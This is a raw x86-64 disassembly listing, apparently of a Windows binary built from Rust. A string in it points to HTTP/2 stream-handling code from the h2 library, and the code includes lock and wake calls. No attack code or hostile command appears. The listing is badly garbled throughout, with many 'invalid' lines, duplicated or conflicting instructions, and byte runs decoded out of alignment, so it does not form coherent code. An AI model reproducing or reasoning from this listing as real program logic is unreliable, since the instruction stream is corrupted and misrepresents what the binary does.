lock cmpxchg byte [r14], cl
jne 0x1400a6c4a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6c6b
xor eax, eax
mov qword [rsp + 0x70], rdx
movzx ecx, byte [r14 + 1]
test cl, cl
jne 0x1400a6c8a
mov esi, dword [rsp + 0x3e0]
cmp dword [rdi + 0x170], esi
jae 0x1400a578a
add byte [rax], al
add byte [rax], al
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x650], xmm0
test al, al
invalid
jne 0x1400a553c
invalid
sal byte [rbp + 0x13], 0x48
mov eax, dword [0x140182308]
adc ecx, dword [rax - 0x75]
add eax, 0xdcdd8
shl rax, 1
test rax, rax
jne 0x1400a736f
xor eax, eax
xchg byte [r14], al
mov bl, 1
cmp al, 2
mov rsi, qword [rsp + 0x70]
mov esi, dword [rsp + 0x70]
mov esi, dword [rsp + 0x70]
jne 0x1400a5555
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bpl, bpl
jne 0x1400a556d
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a71fa
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a557e
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp bl, 3
jne 0x1400a599f
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x130], rax
movaps xmm0, xmmword [rsp + 0x3c0]
movaps xmm1, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
and al, 0x10
add dword [rax], eax
add byte [rax - 0x75], cl
jbe 0x1400a55cb
mov rax, qword [rsi]
test rax, rax
je 0x1400a55d2
lea rcx, [rsi + 0x18]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
push rax
invalid
push rax
adc byte [rax - 0x75], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax - 0x77], cl
and byte [rsi + 0xf], r12b
movdqa xmm0, xmmword [rsp + 0x110]
movdqa xmm1, xmmword [rsp + 0x120]
movdqu xmmword [rsi + 0x10], xmm1
mov rax, qword [rsp + 0x130]
mov qword [rsi + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x110]
movdqa xmm1, xmmword [rsp + 0x120]
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
jmp case.0x1400a4d30.2
mov ebp, dword [r8 + 4]
mov r15d, dword [r8 + 8]
mov rdi, qword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6b80
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6ba1
xor r14d, r14d
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6bbf
mov qword [rsp + 0x48], r13
test ebp, ebp
je 0x1400a5e17
mov sil, 1
mov r13d, 1
lea r12, [0x14013e948]
mov ebx, 1
cmp dword [rdi + 0x100], ebp
jae 0x1400a6250
mov bpl, 3
jmp 0x1400a701c
mov dword [rsp + 0x60], ebx
lea rax, [rdi + 8]
mov qword [rsp + 0x58], rax
movzx ebp, byte [rdx + 0x30]
mov rax, qword [rdx + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [rdi + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [rdi + 0x1b8]
mov qword [rsp + 0x50], rax
lea rsi, [rdi + 0x1e0]
mov rcx, qword [rdi + 0x218]
mov rdx, qword [rdi + 0x220]
mov r8d, r13d
call fcn.14001fef0
mov r8, qword [rdi + 0x1e8]
mov rdx, qword [rdi + 0x1f0]
mov r9, qword [rdi + 0x200]
mov r10, r9
and r10, rax
mov rcx, rax
shr rcx, 0x39
mov r14, qword [rdi + 0x1f8]
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r15d, r15d
pcmpeqd xmm1, xmm1
movdqu xmm2, xmmword [r14 + r10]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r12d, xmm3
nop word cs:[rax + rax]
test r12w, r12w
je 0x1400a5767
tzcnt ebx, r12d
add rbx, r10
and rbx, r9
lea rcx, [rbx*8]
mov r11, r14
sub r11, rcx
mov rcx, qword [r11 - 8]
cmp rdx, rcx
jbe 0x1400a7499
lea r11d, [r12 - 1]
and r11d, r12d
shl rcx, 4
mov r12d, r11d
cmp dword [r8 + rcx + 8], r13d
jne 0x1400a5720
jmp 0x1400a5acd
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x1400a728d
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rbp + 1], cl
cli
add r10, r15
add r10, 0x10
add r15, 0x10
and r10, r9
jmp 0x1400a56fe
invalid
invalid
invalid
mov dword [rsp + 0x24c], eax
mov qword [rsp + 0xd8], r14
mov dword [rsp + 0x68], ebp
push 0x246c894c
mov qword [rdi + 0x170], rsi
push 0x246c894c
mov qword [rdi + 0x170], rsi
lea rdx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3c0]
mov r8, qword [rsp + 0x3c8]
mov r9, qword [rsp + 0x3d0]
lea rcx, [rsp + 0x288]
call qword [rax]
mov eax, dword [rsp + 0x3e4]
mov dword [rsp + 0x284], eax
mov word [rsp + 0x280], 0x201
mov rax, qword [rdi + 0x210]
test rax, rax
je 0x1400a5a12
lea rcx, [rdi + 8]
mov qword [rsp + 0x50], rcx
or byte [r8 - 0x77], r9b
and al, 0x50
mov rcx, qword [rsp + 0xd8]
add rcx, 8
mov qword [rsp + 0x58], rcx
lea rcx, [rdi + 0x1b8]
mov qword [rsp + 0x60], rcx
lea rcx, [rdi + 0x110]
mov qword [rsp + 0x40], rcx
xor r14d, r14d
mov r13, rax
jmp 0x1400a5879
mov eax, dword [rdi + 0x210]
cmp rax, r13
sbb r14, 0xffffffffffffffff
cmp rax, r13
sbb r13, 0
cmp r14, r13
jae 0x1400a5a12
cmp r14, qword [rdi + 0x1f0]
jae 0x1400a78c7
mov rcx, qword [rdi + 0x1e8]
mov rdx, r14
shl rdx, 4
mov r15d, dword [rcx + rdx + 8]
mov ebp, dword [rcx + rdx + 0xc]
mov dword [rsp + 0x80], ebp
mov dword [rsp + 0x84], r15d
cmp qword [rdi + 0x1c8], rbp
jbe 0x1400a7851
mov rdx, qword [rdi + 0x1c0]
imul rbx, rbp, 0x130
cmp dword [rdx + rbx], 2
je 0x1400a7851
rol byte [rcx], 0
add byte [rax + 0x69], cl
fnsave dword [rax]
add dword [rax], eax
add byte [rbx + 0xf021a3c], al
test byte [rax + 0x4800001f], al
add edx, ebx
add rdx, rbx
cmp dword [rdx + 0x114], r15d
jne 0x1400a7851
cmp r15d, esi
jbe 0x1400a5862
mov rax, qword [rsp + 0x60]
and al, 0x60
mov qword [rsp + 0x270], rax
mov dword [rsp + 0x278], ebp
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x27c], r15d
mov r12d, dword [rdx + 0x48]
lea rcx, [rsp + 0x280]
call fcn.140024bd0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x58]
lea r8, [rsp + 0x270]
call fcn.14008b720
mov dword [rsp + 0x80], ebp
mov dword [rsp + 0x84], r15d
cmp qword [rdi + 0x1c8], rbp
enter 1, 0
enter 1, 0
jbe 0x1400a7851
mov rax, qword [rdi + 0x1c0]
cmp dword [rax + rbx], 2
add cl, byte [rdi]
test dh, dh
invalid
add byte [rax], al
add cl, byte [rdi]
test dh, dh
invalid
movaps xmm0, xmmword [rsp + 0x650]
movaps xmmword [rsp + 0x510], xmm0
mov byte [r13 + 8], bl
mov byte [r13 + 9], 1
mov dword [r13 + 0xc], 1
lea rax, [0x1401167f0]
invalid
invalid
add byte [rcx - 0x77], cl
adc byte [r9 - 0x39], r9b
sbb byte [r9], r8b
add byte [rax], al
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rdx], ah
add eax, 0x41f30000
movq qword [rbp + 0x20], mm0
mov dword [r13], 1
lea rcx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x3c8]
mov r8, qword [rsp + 0x3d0]
call qword [rax + 0x10]
jmp 0x1400a705e
invalid
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x130], rax
movzx eax, word [rsp + 0x280]
movzx ecx, word [rsp + 0x282]
mov edx, dword [rsp + 0x284]
mov r8, qword [rsp + 0x288]
movups xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x120], xmm0
mov word [rsp + 0x110], ax
mov word [rsp + 0x112], cx
mov dword [rsp + 0x114], edx
mov qword [rsp + 0x118], r8
lea rsi, [rdi + 0x180]
movzx eax, byte [rdi + 0x180]
cmp eax, 3
mov r13, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x68]
mov r14, qword [rsp + 0xd8]
je 0x1400a6800
test eax, eax
je 0x1400a6800
cmp eax, 1
jne 0x1400a67db
invalid
add byte [rax - 0x73], cl
invalid
lea rcx, [rdi + 0x1a0]
mov rax, qword [rdi + 0x188]
mov rdx, qword [rdi + 0x190]
mov edx, dword [rdi + 0x190]
mov edx, dword [rdi + 0x190]
mov r8, qword [rdi + 0x198]
call qword [rax + 0x10]
jmp 0x1400a6800
pop rax
add al, byte [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x60
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdx*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
call fcn.140026780
mov r13d, eax
mov ebp, edx
mov ebx, dword [rsp + 0x60]
mov r14, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
jl 0x1400a5b2e
pop rax
jl 0x1400a5b2e
pop rax
mov dword [rsp + 0x530], r13d
mov dword [rsp + 0x534], ebp
mov ecx, r13d
cmp qword [rdi + 0x1c8], rcx
jbe 0x1400a79bc
mov rax, qword [rdi + 0x1c0]
imul rcx, rcx, 0x130
xor byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax + 0x69], cl
leave
xor byte [rcx], al
add byte [rax], al
cmp dword [rax + rcx], 2
je 0x1400a79bc
add rax, rcx
cmp dword [rax + 0x114], ebp
jne 0x1400a79bc
add byte [rcx + 0xf], al
rol byte [rdx + r10*8 - 0x49f0e08c], 1
rol byte [rbx - 0x7af0fe06], cl
test dword [0xc10a5b73], ebx
test dword [0xc10a5b73], ebx
stc
add dword [rdi], ecx
xchg dword [rsi*8 + 0x7880ffff], edx
push rcx
add cl, byte [rdi]
invalid
and al, 0x78
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14], cl
jne 0x1400a7226
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a7241
pop rax
invalid
xor r12d, r12d
movzx eax, byte [r14 + 1]
test al, al
jne 0x1400a725a
lea rax, [r14 + 8]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], r13d
mov dword [rsp + 0xbc], ebp
lea rax, [rsp + 0x78]
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x110]
and al, 0x10
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x50
invalid
add byte [rax], al
mov r8d, 0x120
call fcn.140106530
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x238], rax
lea rsi, [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
mov rcx, rsi
call fcn.14001fbd0
mov ebp, dword [rax + 0x48]
mov rcx, rsi
call fcn.14001fbd0
movzx ecx, byte [rax + 0x50]
add cl, 0xfa
movzx edx, cl
rol dword [rax + 0x6b906fa], 1
add byte [rax], al
add byte [rdi], cl
retf 0xf980
add al, 0xf
invalid
invalid
or al, 0
invalid
rol dword [rax + 0x6b906fa], 1
add byte [rax], al
add byte [rdi], cl
retf 0xf980
movzx ecx, cl
lea rdx, [0x140178950]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rsi, qword [rsp + 0x78]
lea r13, [rsp + 0x3c0]
lea rdx, [rsp + 0x110]
mov r8d, 0x120
mov rcx, r13
call fcn.140106530
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x530]
lea r9, [rsp + 0xb0]
mov rdx, rsi
mov r8, r13
call fcn.140021a10
mov rax, qword [rsp + 0x530]
cmp rax, 3
je 0x1400a6ee6
cmp eax, 4
mov r13, qword [rsp + 0x48]
je 0x1400a6eb0
cmp eax, 5
je 0x1400a5d76
lea rsi, [rsp + 0x3c0]
lea rdx, [rsp + 0x530]
mov r8d, 0x120
mov rcx, rsi
call fcn.140106530
mov rax, qword [rsp + 0x78]
lea rcx, [rax + 0xa0]
mov r8, qword [rsp + 0xe0]
add rax, 0x140
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r13, [rsp + 0xb0]
mov rdx, rsi
mov r9, r13
call fcn.140086c10
mov rax, qword [rsp + 0x78]
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x20], rax
mov rdx, r13
mov r8d, 7
mov r9, r15
call fcn.140025bc0
mov rcx, qword [rsp + 0x78]
mov rdx, r13
mov r13, qword [rsp + 0x48]
mov r8, r15
call fcn.140024e70
mov byte [rsp + 0x80], 3
jmp 0x1400a6f1a
add dl, 0xfa
movzx r8d, dl
cmp r8b, 6
mov edx, 6
cmovb edx, r8d
mov bl, 1
mov dword [rsp + 0x58], 1
lea r8, [0x1401167f0]
mov qword [rsp + 0x40], r8
cmp dl, 4
je 0x1400a652d
movzx edx, dl
cmp edx, 3
jne 0x1400a6537
cmp ebp, dword [rdi + 0x100]
jbe 0x1400a6399
mov byte [rcx + 8], 1
mov qword [rcx + 9], rax
jmp case.0x1400a4d30.2
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x280], xmm0
mov sil, 1
mov r13d, 1
lea r12, [0x14013e948]
mov ebx, 1
mov bpl, 1
jmp 0x1400a701c
mov ecx, dword [rdi + 0x110]
add ecx, r12d
mov esi, 3
jo 0x1400a6624
mov dword [rdi + 0x110], ecx
mov qword [rsp + 0x280], 2
mov qword [rsp + 0x2a0], 0
mov ecx, dword [rdi + 0x114]
add r12d, ecx
jo 0x1400a5e88
mov dword [rdi + 0x114], r12d
mov ecx, r12d
test ecx, ecx
jle 0x1400a5250
mov dword [rsp + 0x40], eax
lea rsi, [rdi + 0x110]
lea rbx, [rdi + 0x134]
lea r12, [rsp + 0x110]
jmp 0x1400a5eff
mov rcx, r12
mov rdx, rbx
mov r8, r13
call fcn.140025d00
mov rax, qword [rsp + 0x110]
test rax, rax
je 0x1400a6925
mov edx, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x11c]
mov dword [rsp + 0x650], edx
mov dword [rsp + 0x654], ecx
cmp qword [rax + 0x10], rdx
jbe 0x1400a78d3
mov r8, qword [rax + 8]
imul r9, rdx, 0x130
cmp dword [r8 + r9], 2
je 0x1400a78d3
mov r15d, dword [rsp + 0x658]
mov ebp, dword [rsp + 0x65c]
mov dword [rsp + 0xe8], r15d
mov dword [rsp + 0xec], ebp
cmp qword [rax + 0x10], r15
jbe 0x1400a7a53
mov rdx, qword [rax + 8]
imul rax, r15, 0x130
cmp dword [rdx + rax], 2
je 0x1400a7a53
test byte [rsi + 0x1a], ah
add byte [rax], al
test byte [rsi + 0x1a], ah
add byte [rax], al
add rdx, rax
cmp dword [rdx + 0x114], ebp
jne 0x1400a7a53
add rdx, 0x50
lea rcx, [rsp + 0x3c0]
call fcn.140025ee0
movzx r13d, byte [rsp + 0x3c0]
movzx ebx, byte [rsp + 0x3c1]
cmp r13b, 3
jne 0x1400a647f
test bl, bl
je 0x1400a6227
cmp byte [rdi + 0x104], 0
je 0x1400a70ea
lea rbx, [rdi + 8]
lea rdx, [rdi + 0x68]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x40], rdx
mov r8d, r12d
xor r9d, r9d
call fcn.140021930
movzx r13d, byte [rsp + 0x110]
cmp r13b, 3
jne 0x1400a7113
cmp dword [rsp + 0x114], 0
je 0x1400a516a
mov r9d, dword [rdi + 0xf4]
mov r8d, dword [rdi + 0x174]
lea rcx, [rsp + 0x110]
mov edx, r12d
call fcn.1400269a0
lea r13, [rsp + 0x530]
mov rcx, r13
mov rdx, r14
mov r8d, r12d
lea r9, [rsp + 0x110]
call fcn.1400261e0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x650], rax
mov qword [rsp + 0x230], rsi
lea rsi, [rsp + 0x110]
lea rdx, [rsp + 0x280]
mov r8d, 0x120
mov rcx, rsi
call fcn.140106530
lea rax, [rsp + 0x250]
mov qword [rsp + 0x238], rax
lea rcx, [rsp + 0x3c0]
mov rdx, rbx
mov r8, r13
mov r9, rsi
call fcn.1400a7ce0
movzx r13d, byte [rsp + 0x3c0]
cmp r13b, 3
jne 0x1400a7406
mov r13b, 3
cmp dword [rsp + 0x3c4], 1
jne 0x1400a6217
invalid
add dl, dh
movups xmm6, xmmword [rsp + 0x3c8]
mov rcx, qword [rdi + 0x1c0]
mov rdx, qword [rdi + 0x1c8]
mov r8d, r15d
mov eax, edi
mov eax, edi
mov r9d, ebp
call fcn.1400266f0
movups xmm0, xmmword [rax + 0x100]
movaps xmmword [rsp + 0x110], xmm0
mov ecx, dword [rax + 0x110]
add byte [rcx + 0x120248c], cl
add byte [rax], al
add byte [rcx + 0x120248c], cl
add byte [rax], al
mov dword [rax + 0x100], 0
add byte [rax], al
add byte [rax], al
movlps qword [rsp + 0x3c8], xmm6
mov qword [rsp + 0x3c0], r14
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x3c0]
call fcn.1400229e0
mov dword [rsp + 0x3c8], r15d
mov dword [rsp + 0x3cc], ebp
mov qword [rsp + 0x3c0], r14
lea rsi, [rsp + 0x3c0]
mov rcx, rsi
call fcn.140022890
movdqa xmm0, xmmword [rsp + 0x110]
movdqu xmmword [rax + 0x100], xmm0
mov ecx, dword [rsp + 0x120]
mov dword [rax + 0x110], ecx
mov rcx, rsi
call fcn.140022890
mov rdx, qword [rax + 0xa8]
nop
test al, 0
add byte [rax], al
nop
test al, 0
add byte [rax], al
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x1400a6217
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], cl
push rdx
or byte [rax + 0x60247c], al
call qword [rdx + 8]
cmp byte [rsp + 0x60], 0
jne 0x1400a64d8
jmp 0x1400a64c5
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x80], xmm0
mov bl, 1
mov ebp, 1
mov r14d, 1
lea rsi, [0x14013e948]
mov r13b, 1
jmp case.0x14006bdd6.247
mov rsi, qword [rdx + 0x28]
lea rdx, [rdi + 0x1b8]
lea rcx, [rsp + 0x110]
mov r8d, ebp
call fcn.140026070
cmp qword [rsp + 0x110], 0
je 0x1400a65d7
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x3b0], xmm0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
mov rcx, rsi
mov qword [rsp + 0x60], rsi
jne 0x1400a730b
mov rax, qword [0x140182308]
shl rax, 1
or eax, 0xe0d14800
test rax, rax
jne 0x1400a732d
xor esi, esi
mov dword [rsp + 0x40], r14d
movzx eax, byte [rcx + 1]
test al, al
jne 0x1400a734e
lea r14, [rdi + 8]
lea r13, [rsp + 0x3b0]
mov rcx, r13
call fcn.14001fbd0
mov eax, dword [rax + 0x48]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x50], rax
mov rcx, r13
call fcn.140022890
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x20], esi
and al, 0x20
lea rcx, [rsp + 0x110]
mov edx, ebp
mov r8d, r15d
mov r9, rax
call fcn.140024a80
movzx ebp, byte [rsp + 0x110]
cmp bpl, 3
mov dword [rsp + 0x58], esi
jne 0x1400a6711
mov rax, qword [rsp + 0x60]
lea rdx, [rax + 8]
lea r15, [rdi + 0x110]
lea r13, [rsp + 0x3b0]
mov rcx, r15
mov r8, r13
call fcn.14008b720
mov rcx, r15
mov rdx, r13
mov r8, r14
call fcn.140021690
mov rcx, r13
call fcn.14001fbd0
cmp byte [rax + 0x50], 6
jae 0x1400a7b48
jmp 0x1400a674c
cmp byte [rdi + 0x60], 0
setne al
xor al, bl
jg 0x1400a63c6
add byte [rdi], cl
xchg ebp, eax
sal byte [rax], 0xd8
test al, 1
je 0x1400a6604
cmp dword [rdi + 0x108], 0
add byte [rax], al
mov eax, ebp
jne 0x1400a5250
mov esi, 1
add dword [rax], eax
add byte [rax], al
cmp dword [rdi + 0x10c], ebx
add byte [rdi], cl
xchg dword [rsi + rbp*8 - 0x74160001], edi
add al, byte [rax]
ja 0x1400a5250
jmp 0x1400a6624
add byte [rcx - 0x4a], al
add dword [rsi + 1], edi
lea rcx, [0x14013e948]
lea ecx, [0x14013e948]
test ebp, ebp
je 0x1400a6d00
push rax
or dword [rax], eax
invalid
push rax
or dword [rax], eax
add byte [rax - 0x73], cl
push rdi
push 0xfff8445
dec dword [rdi]
lea rdx, [rdi + 0x68]
test r15b, r15b
dec dword [rdi]
xchg ebp, eax
rol byte [rax + 0x30], 0xe8
dec dword [rdi]
xchg ebp, eax
rol byte [rax + 0x30], 0xe8
test al, 1
je 0x1400a6ca5
cmp dword [rdi + 0x108], 0
jne 0x1400a6cb8
mov edi, 0x108
add byte [rdi], cl
test esi, esp
or byte [rax], al
add byte [rax + 0xa4], bh
mov eax, 0xa4
jmp 0x1400a6cb3
lea rdx, [rcx + 0x11]
movzx r8d, byte [rsp + 0x288]
mov byte [rdx + 8], r8b
mov r8, qword [rsp + 0x280]
mov qword [rdx], r8
mov rdx, qword [rcx]
test rdx, rdx
je case.0x1400a4d30.2
or al, 0
invalid
or al, 0
add byte [rax - 0x47], cl
cmp edi, dword [rbx + rbx*8 + 0x7a]
or eax, dword [rdi + 0x3948b416]
invalid
mov ah, 0x48
cmp eax, ecx
invalid
test dword [rcx], edi
or al, 0
movabs rcx, 0xb416870b7adb7c3b
cmp rax, rcx
jne case.0x1400a4d30.2
invalid
invalid
add byte [rcx + 3], bh
mov eax, 2
add byte [rax], al
add byte [rax + 2], bh
lock cmpxchg qword [rdx + 0x10], rcx
jne case.0x1400a4d30.2
mov cl, 0x4a
adc byte [rdi], cl
test dword [rbx], esp
or al, 0
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rdx + 0x40]
mov eax, dword [rdx + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x40], rcx
jne 0x1400a6440
test rax, rax
jne case.0x1400a4d30.2
mov rax, qword [rdx + 0x30]
mov rcx, qword [rdx + 0x38]
mov qword [rdx + 0x30], 0
mov dword [rdx + 0x30], 0
mov dword [rdx + 0x30], 0
lock and qword [rdx + 0x40], 0xfffffffffffffffd
std
test rax, rax
je case.0x1400a4d30.2
invalid
add bh, bh
push rax
or cl, ch
ror dword [rbx], 1
add byte [rax], al
call qword [rax + 8]
jmp case.0x1400a4d30.2
movzx r15d, word [rsp + 0x3c2]
mov ebp, dword [rsp + 0x3c4]
mov rsi, qword [rsp + 0x3c8]
mov r14, qword [rsp + 0x3d0]
movdqu xmm0, xmmword [rsp + 0x3d8]
movdqa xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x280]
call fcn.140087660
invalid
inc dword [rax + 0x60247c]
invalid
add byte [rbp + 0x13], dh
invalid
invalid
mov rax, qword [0x140182308]
mov eax, dword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a71b8
add byte [rax], al
add byte [rax], al
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a64e9
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp r13b, 3
je 0x1400a704b
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x500], xmm0
sub dword [rsp + 0x500], eax
sub dword [rsp + 0x500], eax
add byte [rax], al
mov rax, qword [rsp + 0x48]
and al, 0x48
mov byte [rax + 8], r13b
mov byte [rax + 9], bl
mov word [rax + 0xa], r15w
mov dword [rax + 0xc], ebp
or al, 0x48
mov dword [rax + 0x10], esi
or al, 0x48
mov dword [rax + 0x10], esi
mov qword [rax + 0x18], r14
movdqa xmm0, xmmword [rsp + 0x500]
outsd dx, dword [rsi]
test byte [rax + rax], ah
add eax, 0x84e90000
or eax, dword [rax]
invalid
cmp byte [rcx + 0x51], 0
jne 0x1400a5dcc
invalid
mov r12, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
lea rcx, [rsp + 0x3d8]
lea ecx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x3c8]
add eax, dword [rax]
invalid
rol byte [rbx], 0
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc8
add eax, dword [rax]
add byte [rbp - 0x77], cl
call 0x1851ab662
test dh, dh
invalid
add byte [rax], al
mov r8, r13
call qword [rax + 0x10]
test r14b, r14b
invalid
div byte [rsi + rbx*2 + 0x44]
sub dword [rdi + 0xf8], ebp
je 0x1400a65c5
sub dword [rdi + 0xf8], r13d
mov eax, dword [rdi + 0xb4]
add eax, r13d
jo 0x1400a657f
mov dword [rdi + 0xb4], eax
cmp qword [rbp], 0
je 0x1400a6663
mov rax, qword [rdi + 0x58]
cmp qword [rdi + 0x10], rax
mov r13, qword [rsp + 0x48]
ja 0x1400a666c
mov bl, 1
mov dword [rsp + 0x58], 0xb
lea rsi, str.too_many_internal_resetsassertion_failed:_self.remote.is_none__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_settings.rs
mov r15d, 0x18
lea rax, [0x14013e948]
mov qword [rsp + 0x40], rax
jmp 0x1400a66ac
mov esi, 1
xor r15d, r15d
mov r13, qword [rsp + 0x48]
add byte [rbp + 0x31], al
dec dword [rbx + rcx*4 + 0x6c]
and al, 0x48
jmp 0x1400a66ac
add byte [rax], al
add byte [rax - 0x73], cl
push 0x6057b60f
invalid
lea rcx, [rdi + 0x68]
movzx edx, byte [rdi + 0x60]
invalid
invalid
mov r8d, ebp
call fcn.140027660
test eax, eax
je 0x1400a7016
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x280], xmm0
mov bpl, 1
jmp 0x1400a7019
cmp dword [rdi + 0x90], 0
mov eax, ebp
jne 0x1400a5250
mov esi, 1
cmp dword [rdi + 0x94], ebx
ja 0x1400a5250
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x530], xmm0
test al, al
jne 0x1400a6648
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a74bc
xor eax, eax
xchg byte [r14], al
xor ebp, ebp
mov bl, 1
cmp al, 2
mov r13, qword [rsp + 0x48]
je 0x1400a527a
jmp 0x1400a5283
mov rax, qword [rdi + 0x58]
mov r13, qword [rsp + 0x48]
lea r9, [r12 + 8]
inc rax
mov qword [rdi + 0x58], rax
lea rcx, [rdi + 0x108]
lea rax, [rdi + 0x1a8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbp
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0x40]
mov r8b, 1
call fcn.14008b360
mov bl, 3
cmp dword [rsp + 0xd8], 0x3b9aca00
setne r8b
setne al
mov esp, 0xd824
add byte [rax], al
retf 0x3b9a
setne al
lea rdx, [rsp + 0xc0]
mov rcx, rbp
call fcn.14001f580
invalid
idiv edi
cmp byte [rsp + 0x70], 0
jne 0x1400a66e5
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
jmp 0x137991cb2
invalid
invalid
invalid
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
test eax, eax
test eax, eax
jne 0x1400a72f3
xor eax, eax
xchg byte [r12], al
xchg byte [rsp], al
xchg byte [rsp], al
mov rcx, r12
xor r12d, r12d
mov r14b, 1
mov dh, 1
mov dh, 1
cmp al, 2
jne 0x1400a6701
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor r12d, r12d
add byte [rbp + 0x31], al
in al, 0x80
jl 0x1400a6728
cmp byte [rsp + 0x60], 0
jne 0x1400a6e5f
push rbx
invalid
add byte [rax], al
invalid
push rbx
invalid
jmp 0x1400a6e4c
cmp eax, dword [rdi]
add byte [rax], al
movzx esi, byte [rsp + 0x111]
movzx r15d, word [rsp + 0x112]
mov dh, 0xb4
and al, 0x11
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
mov esp, 0x11224
add byte [rbx + rcx*4 - 0x54], al
mov r13d, dword [rsp + 0x114]
mov r12, qword [rsp + 0x118]
invalid
invalid
pushfq
and al, 0x20
add dword [rax], eax
mov r13d, dword [rsp + 0x114]
add byte [rax], al
mov r12, qword [rsp + 0x118]
mov rbx, qword [rsp + 0x120]
add bl, dh
movq mm0, qword [rsp + 0x128]
add bl, dh
movq mm0, qword [rsp + 0x128]
movdqa xmmword [rsp + 0x280], xmm0
mov eax, dword [rsp + 0x50]
cmp eax, 0x3b9aca00
setne r8b
lea rdx, [rsp + 0x3b0]
mov al, 3
add eax, dword [rax]
